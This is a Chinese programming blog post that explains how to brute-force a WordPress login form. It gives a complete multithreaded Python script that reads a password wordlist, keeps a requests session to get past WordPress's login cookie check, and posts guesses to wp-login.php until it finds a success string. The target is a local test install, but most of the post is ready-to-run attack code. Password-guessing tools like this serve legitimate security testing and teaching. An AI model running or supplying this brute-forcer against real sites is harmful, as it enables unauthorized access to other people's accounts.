首页 > 编程语言 >Python黑客编程之爆破网站登录表单

Python黑客编程之爆破网站登录表单

时间:2023-02-11 21:33:59浏览次数:41  
标签:username passwords Python self 表单 url 黑客 words import

描述

  • 遍历字典,发送requests请求到目标网站,根据响应判断是否登录成功

分析

  • SecLists仓库中存放了大量有用的字典文件,我这里用了一个爆破字典cain.txt
  • 在本地部署wordpress做测试网站,查看登录页面表单,找到需要构造的字段
  • wordpress采取了一个反破解措施:在访问登录页面时,给客户端一个cookie,当客户端提交表单时,网站会检查是否带上这个cookie。反制的办法:用session取代requests去发送请求和提交表单。

代码

from pyquery import PyQuery as pq
from queue import Queue

import requests
import sys
import threading
import time

SUCCESS = "Welcome to WordPress"
TARGET = "http://192.168.43.126/wordpress/wp-login.php"
WORDLIST = "cain.txt"

def get_words():
    with open(WORDLIST) as fp:
        raw_words = fp.read()
        words = Queue()
        for word in raw_words.split():
            words.put(word)
        return words

class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        print(f"Brute Force Attack begginning on {url}")
        print("Finished the setup where username = %s\n" % username)

    def run_bruteforce(self, passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter, args=(passwords,))
            t.start()

    def web_bruter(self, passwords):
        session = requests.Session()
        resp = session.get(self.url)
        params = dict()
        params['log'] = self.username

        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f"Trying username/password {self.username}/{passwd:<10}")
            params['pwd'] = passwd

            resp2 = session.post(self.url, data=params)
            if SUCCESS in resp2.content.decode():
                self.found = True
                print(f"BruteForcing succesful.")
                print("Username is %s" % self.username)
                print("Password is %s\n" % passwd)
                print("done: now cleaning up other threads...")

if __name__ == "__main__":
    words = get_words()
    b = Bruter("test", TARGET)
    b.run_bruteforce(words)

结果

标签:username,passwords,Python,self,表单,url,黑客,words,import
From: https://www.cnblogs.com/z5onk0/p/17112616.html

相关文章

  • 2023最新Python阅读书籍推荐
    abyteofpython(中文:简明Python教程)入门的书很多,但能让新手轻松看懂的就少了,作者写的思路非常清晰,对每一个知识点讲解的很到位,不多不少,对初学者来说,力道刚刚好。这本书是......
  • python路径 目录 文件夹
    绝对路径1、os.path方法importosimportsyscurrent_directory=os.path.dirname(os.path.abspath(__file__))print(current_directory)2、os.path.abspath方法import......
  • Python黑客编程之暴力字典web扫描器
    描述通过读取字典中的关键字,拼接成url,来测试目标站点文件目录结构代码设置了一个resume参数,如果因为网络等问题导致扫描中断,重新启动扫描时可以将resume设置为上次......
  • Python SQLite创建数据库和数据表及数据的增删改查
    SQLite是一款轻型的SQL类型数据库,处理速度快且占用资源非常低,Python自带,不需要配置不需要任何外部的依赖。数据库本身就是一个.db文件,非常适合存储本地数据。本文主要介绍......
  • Python基础学习总结
    python基础内容解释器编译器:将其他语言翻译成机器语言。分类编译器有两种类型,编译和解释(翻译时间点的不同)。编译型语言:源程序交给编译器,统一编译,一次性执行解释型......
  • Thonny MicroPython 使用mpy-cross 生成MPY文件加速运行与加密
    安装mpy-cross  https://www.cnpython.com/pypi/mpy-cross  这里直接在Thonny的管理包模块进行安装 安装完成 使用方法可以参照上方官方文档  效果......
  • [oeasy]python0081_ANSI序列由来_终端机_VT100_DEC_VT选项_终端控制序列
    更多颜色回忆上次内容上次首先了解了RGB颜色设置可以把一些抽象的色彩名字落实到具体的RGB颜色计算机所做的一切其实就是量化、编码把生活的一切都进行数字化标准是ANS......
  • Python黑客编程之拓印web扫描器
    描述遍历cms网站的本地目录,作为参考来扫描远程网站的目录和文件实现用os.walk实现嵌套目录的遍历用多线程发起requests请求,考虑线程安全,变量应装在队列中而不是列表......
  • C++ 调用 Python 总结(一)
    PS:要转载请注明出处,本人版权所有。PS:这个只是基于《我自己》的理解,如果和你的原则及想法相冲突,请谅解,勿喷。前置说明  本文作为本人csdnblog的主站的备份。(BlogID......
  • [oeasy]python0081_ANSI序列由来_终端机_VT100_DEC_VT选项_终端控制序列
    更多颜色回忆上次内容上次首先了解了RGB颜色设置可以把一些抽象的色彩名字落实到具体的RGB颜色计算机所做的一切其实就是量化、编码把生活的一......